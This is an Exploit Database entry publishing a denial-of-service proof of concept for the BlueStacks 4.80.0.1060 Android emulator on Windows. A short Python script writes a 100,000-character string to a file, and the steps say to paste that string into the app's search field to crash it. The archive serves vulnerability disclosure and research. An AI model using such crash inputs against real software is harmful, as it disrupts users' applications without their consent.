

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# BlueStacks 4.80.0.1060 - Denial of Service (PoC)

**EDB-ID:**

46893

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[ALEJANDRA SÁNCHEZ](#)

**Type:**

[DOS](#)

**Exploit:**  

**Platform:**

[WINDOWS](#)

**Date:**

2019-05-22

**Vulnerable App:**



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# -*- coding: utf-8 -*-
# Exploit Title: BlueStacks 4.80.0.1060 - Denial of Service (PoC)
# Date: 21/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.bluestacks.com
# Software: https://www.bluestacks.com/download.html?
utm_campaign=bluestacks-4-en
# Version: 4.80.0.1060
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'Bluestacks.py', it will create a new file
'exploit.txt'
# 2.- Copy the text from the generated exploit.txt file to clipboard
# 3.- Open BlueStacks
# 4.- Paste clipboard in the search field and click on the search button
# 5.- Crashed

buffer = "\x41" * 100000

f = open("exploit.txt", "w")
f.write(buffer)
f.close()
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.